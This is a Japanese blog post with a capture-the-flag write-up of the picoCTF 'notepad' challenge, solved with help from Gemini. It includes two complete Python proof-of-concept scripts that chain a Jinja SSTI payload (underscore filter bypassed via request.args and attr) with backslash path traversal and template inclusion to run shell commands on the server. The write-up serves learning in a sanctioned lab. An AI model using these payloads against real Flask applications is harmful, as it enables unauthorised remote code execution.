3
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Geminiを使って解く PicoCTF Hard問題 notepad

3
Last updated at Posted at 2025-12-05

はじめに

何気に初めてpicoCTFでのHard問題をバリバリGeminiつかって解いたので、なるべくわかりやすくwrite upを書きたいと思います

※敢えて細かい部分まで考えを垂れ流しているので、適宜読み飛ばして下さい。

問題

問題のURLとtarファイルが与えられます。

スクリーンショット 2025-12-02 1.27.33.png
スクリーンショット 2025-12-02 1.27.19.png

スクリーンショット 2025-12-02 1.32.14.png

解法

step1. 触ってみてのブラックボックス

まずはurlを調査。適当にtestとかを入れてみる
すると以下のようにtestとそのまま返ってきた(変なurlに飛ばされているが後で解説)

スクリーンショット 2025-12-02 1.35.07.png

XSSとかかなと普段のCTFとかだと思うが、botがないのでメタ読みしてなんとなくSSTiとかかなとこの時点で思っている。

XSSも一応試そうと、<h1>test</h1>などと入れてみるとエラー

スクリーンショット 2025-12-02 1.39.14.png

SSTiを試そうと、{{7*7}}を入れてみるも以下のようにnot found
こちらも後で解説しますが、urlエンコーディングの関係でファイルパスが正しくならずnot foundが出ていました。

スクリーンショット 2025-12-02 1.47.25.png

なんとなく挙動を確認できたので次のステップに行きます。

step2. コードを見てのホワイトボックス

フォルダ構成は問題の通り

app.py全体

flaskで作られたシンプルなアプリになっている

コード
from werkzeug.urls import url_fix
from secrets import token_urlsafe
from flask import Flask, request, render_template, redirect, url_for

app = Flask(__name__)

@app.route("/")
def index():
    return render_template("index.html", error=request.args.get("error"))

@app.route("/new", methods=["POST"])
def create():
    content = request.form.get("content", "")
    if "_" in content or "/" in content:
        return redirect(url_for("index", error="bad_content"))
    if len(content) > 512:
        return redirect(url_for("index", error="long_content", len=len(content)))
    name = f"static/{url_fix(content[:128])}-{token_urlsafe(8)}.html"
    with open(name, "w") as f:
        f.write(content)
    return redirect(name)

/では、GETのパスパラメータからerrorがあればその値をエラーに入れてindex.htmlに渡します。

postメソッドを詳しく見てみると、フォームに入れた値がcontent変数に入り、条件文に引っかかるとエラーになっている。

app.py /new POST

注目すべきは1つ目の条件文
contentに_/が含まれているとエラーとともにリダイレクトされている。

(技術スタックのFlaskや値の検証がないことから、やはりSSTiの可能性が高いが、SSTiを成功させるにはどうにかしてこの部分をバイパスする必要が出てきそうである。)

条件文に引っかからなければ
ファイル操作でname変数とcontentを使ってファイル書き込みを行い、そのnameにリダイレクト。

nameに注目
static/{url_fix(content[:128])}-{token_urlsafe(8)}.htmlとあり、static配下にcontentを128番目の要素まで取得して-とランダムに生成された値をくっつけている

(これが先程の/static/test-HTDO...3l,htmlという良くわからないurlに飛ばされていた理由でした。)

また先程{{7*7}}でSSTiを試そうとしてNotFoundが出ていたのは、ファイル名はstatic/{{で始まっているのに対して、redirect(name)ではURLエンコーディングされstatic/%7B%7Bに飛ばされたのでエラーとなっていた。

この時点でファイル名の検証がされていないので、先程の/のフィルタリングを回避できればパストラバーサルが成立しそうです。

app.py以外

/templates/errors以下の2つは特に問題が無さそうでした。

Geminiとの試行錯誤 (私は何故かここでパストラバーサルを試して時間を溶かしたのですが、geminiに怪しい場所を見てもらったところ一瞬で見つかりました。)

一番重要な箇所は3つ目のhtmlファイルであるindex.htmlにありました。
6行目の{% include "errors/" + error + ".html" ignore missing %}です。
実はこれは一発で見て怪しい場所となっています。

{% include %} を使用すると、小さなコンポーネントを別のテンプレートファイルに分割し、必要な場所で再利用できる。

includeの内容をユーザーが変更できる状態でそれをそのまま使うとXSSやSSTi等injection攻撃の温床となる。

また先程確認したように、errorにはパスパラメータが使われていたので好きに設定できるとわかる

よってこれをメインに使って先程見つけた怪しい場所と組み合わせて任意のコードを実行したいと思います。

最終的な攻撃の方針

step1. SSTiで任意のコードを実行できるペイロードを組んでファイルを保存
step2. パスパラメータのerrorで先程のファイルを指定(LFI)してペイロードを発火させる

step3. ローカルでアプリを動かして挙動を確認

攻撃指針を使ったPoC

ここまで判明した時点でGeminiにPoCを書かせて動かしました。

パストラバーサルを試すうえで、url_fixが\/として判断するという重要なペイロード回避を自力で見つけることができましたが(過去にこんなの見たようなと思い試した)、
その他のOSコマンドを実行するのに重要なペイロードの回避はGeminiがすんなりとやってくれました。

POCコード
import requests

# 修正箇所: http -> https に変更
BASE_URL = "https://notepad.mars.picoctf.net"

def exploit(command):
    # 1. ペイロードの作成
    # joiner.__globals__['__builtins__']['__import__']('os').popen(command).read()
    # request.argsを経由してアンダースコアやスラッシュを回避
    payload = (
        "{{"
        "(joiner|attr(request.args.g))"          # joiner.__globals__
        "[request.args.b]"                       # ['__builtins__']
        "[request.args.i]"                       # ['__import__']
        "(request.args.o)"                       # ('os')
        "|attr(request.args.p)(request.args.c)"  # .popen(command)
        "|attr(request.args.r)()"                # .read()
        "}}"
    )

    print(f"[*] Sending payload to execute: {command}")
    
    # ノートを作成 (POST)
    # allow_redirects=False は必須。アプリからの 302 Found を捕捉するため。
    r = requests.post(f"{BASE_URL}/new", data={"content": payload}, allow_redirects=False)
    
    # Locationヘッダを確認
    location = r.headers.get("Location", "")
    print(f"[+] Note created at: {location}")

    if "bad_content" in location:
        print("[-] Payload blocked! (Contains invalid characters)")
        return
    
    if not location:
        print(f"[-] Error: No location header found. Status code: {r.status_code}")
        return

    # ファイル名を抽出 (static/xxxxx-yyyy.html -> xxxx-yyyy)
    # URLの末尾を取得して .html を除去
    filename = location.split("/")[-1].replace(".html", "")
    
    # パストラバーサルのパス構築
    # templates/errors/ から ../../static/ へ抜ける
    traversal_path = f"../../static/{filename}"

    # 2. LFIを経由してSSTIを発火
    params = {
        "error": traversal_path,
        "g": "__globals__",
        "b": "__builtins__",
        "i": "__import__",
        "o": "os",
        "p": "popen",
        "r": "read",
        "c": command
    }

    print(f"[*] Triggering exploit...")
    r = requests.get(BASE_URL, params=params)

    if r.status_code == 200:
        print("\n--- Command Output ---")
        # 出力結果を見やすく表示
        # テンプレートのエラー表示部分以降を抽出すると見やすい場合があります
        if "error:" in r.text:
            print(r.text.split("error:")[1].split("</h3>")[0].strip())
            # HTMLタグが混ざる場合は全体を表示して確認してください
            print("\n(Full output snippet below if needed)")
            start = r.text.find("<!doctype html>")
            print(r.text[start:start+500] + "...") 
        else:
            print(r.text)
        print("----------------------")
    else:
        print(f"[-] Failed to trigger exploit. Status: {r.status_code}")

if __name__ == "__main__":
    # ステップ1: ls -F でファイル名を確認
    exploit("ls -F")
    
    # ステップ2: 確認できたファイル名に合わせて以下をコメントアウト解除して実行
    # exploit("cat flag-c8f5526c-4122-4578-96de-d7dd27193798.txt")
Tips (実は一発ではうまく行かず、禁止されている`_`を何故か含めたり、http→httpsのリダイレクトで成功と勘違いしたなどがあり何度か修正しています。)

しかしながら、request.argsを経由してアンダースコアやスラッシュを回避してpayloadを組むという僕の頭になかったテクニックを使ったのは流石といった感じです。

それでもこの段階で、ファイル名とリダイレクト時のエンコードの違いでGeminiだけでは限界が来ました。

手法の転換

もっと早くやるべきだったと反省しているのですが、dockerファイルの存在を思い出してローカルで実行して実際にどうやってファイルが作成されるかを観測することにしました。

先に空のflag.txtを作成する必要があるのに注意して下さい。

# イメージのビルド
docker build -t notepad .

# コンテナの起動 (localhost:5000 でアクセス可能にする)
docker run --rm -p 5000:5000 --name notepad_test notepad

実際に動かしてわかったこと

  • ファイルの保存は問題なく予想通りできている
  • ../static/ へのパストラバーサルによる読み込みがブロックされている

ローカルで動かした結果を踏まえて

DockerファイルをGemini確認してもらったところ以下の内容に気づきました

chmod 1773 static templates/errors

これはtemplates/errorsにファイルを置くことができることを示しています。

ローカルで動かしたこととDockerファイルから
パストラバーサルでtemplates/errors/ から ../../static/ へ抜ける作戦から
直接templates/errors/にファイルを保存する作戦に切り替えました。

しかしこれでは、パスパラメータではなくcontent自体に/を含む必要が出てきます。
ここで先程自力で見つけた\/として認識されるバイパス手法が役に立ちます。

content の先頭に ..\templates\errors\ を付けると、アプリの「/禁止チェック」はすり抜けつつ、保存時には ../templates/errors/ に変換され、LFIの読み込み対象ディレクトリ(errors/)にファイルを送り込むことに成功しました。

Tips 最後に500エラーが出ました。これは joiner というオブジェクトが環境によって仕様が異なるためでした。より汎用的で確実に __globals__ を持つ lipsum 関数に切り替えるという作業をエラー投げただけでgeminiがやってくれました。

最終的なペイロードが以下のコードになります。

最終的なPOCコード
import requests
# unquote は不要になったので削除

# ターゲットURL (ローカル環境用)
BASE_URL = "https://notepad.mars.picoctf.net"

def exploit(command):
    # バックスラッシュで templates/errors/ へ保存させる
    prefix = "..\\templates\\errors\\"
    
    # SSTIペイロード
    ssti_payload = (
        "{{"
        "(lipsum|attr(request.args.g))"
        "[request.args.b]"
        "[request.args.i]"
        "(request.args.o)"
        "|attr(request.args.p)(request.args.c)"
        "|attr(request.args.r)()"
        "}}"
    )
    
    full_content = prefix + ssti_payload

    print(f"[*] Sending payload with path traversal: {command}")
    
    # ノート作成
    r = requests.post(f"{BASE_URL}/new", data={"content": full_content}, allow_redirects=False)
    
    location = r.headers.get("Location", "")
    if not location:
        print("[-] Failed to create note.")
        return

    # Locationヘッダからファイル名を抽出
    # 例: static/..%2Ftemplates%2Ferrors%2F%7B%7B...html
    # ここから "errors/" より後ろの部分を取得
    if "errors/" in location:
        filename_part = location.split("errors/")[-1]
    else:
        filename_part = location.split("/")[-1]

    # .html を除去
    target_identifier = filename_part.replace(".html", "")
    
    print(f"[+] Target Identifier (Raw): {target_identifier}")
    
    # 【修正ポイント】
    # デコード(unquote)せず、そのまま使用します。
    # requestsが % をさらにエンコードして %257B... として送信
    # -> サーバーが受け取ってデコード -> %7B... (ディスク上のファイル名と一致!)
    
    params = {
        "error": target_identifier,  # Raw文字列を渡す
        "g": "__globals__",
        "b": "__builtins__",
        "i": "__import__",
        "o": "os",
        "p": "popen",
        "r": "read",
        "c": command
    }

    print(f"[*] Triggering exploit with RAW name...")
    r = requests.get(BASE_URL, params=params)

    if r.status_code == 200:
        print("\n--- Command Output ---")
        if "error:" in r.text:
            # error表示部分より後ろにある、実際に include された結果を探す
            parts = r.text.split("error:")[1]
            # 最初の </h3> の後ろに include の結果が出るはず
            if "</h3>" in parts:
                output = parts.split("</h3>")[1]
                # 次のタグ(<h2>make a new note)の前までを表示
                output = output.split("<h2>")[0]
                print(output.strip())
            else:
                print(parts)
        else:
            print(r.text)
        print("----------------------")
    else:
        print(f"[-] Failed. Status: {r.status_code}")

if __name__ == "__main__":
    # まずは ls で動作確認
    exploit("ls -F")
    
    # 本番環境などでフラグを取る場合
    exploit("cat flag-*.txt")

まとめ

単調なSSTiではなく、LFIやパストラバーサルとの重ね技であったり、_/をバイパスする必要があったりとHard問題に相応しい問題でした。(だが奴はHard問題の中でも最弱)

しかしながらAIを用いることによって、自分の知識の範囲を超えて無事に解くことができました。
いきなりフィルタリングのバイパスなどを思いついたり調べるのは難易度が高いので、AIに任せたりしてそれをきちんと理解して手札を増やしていくのが重要だと感じました。

ちょうど昨日一昨日に出たRSCのRCE脆弱性 CVE-2025-55182(React2shell)も、デシリアライズの脆弱性ではあったものの、ホワイトリスト的な防御機構はあってそれをバイパスされたとありました。
(デシリアライズまでは調べたがホワイトリストからはGemini知識)

WAFなどのバイパスを自力でやるには、Webアプリケーションだけでなくプロトコルや低レイヤの知識が必要だとイベント等でも感じたのでこれから学習していきたいと思います。

間に合えばアドカレにも一つくらい載せたいですね...

PS.アドカレ微遅刻しました、すみません

3
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?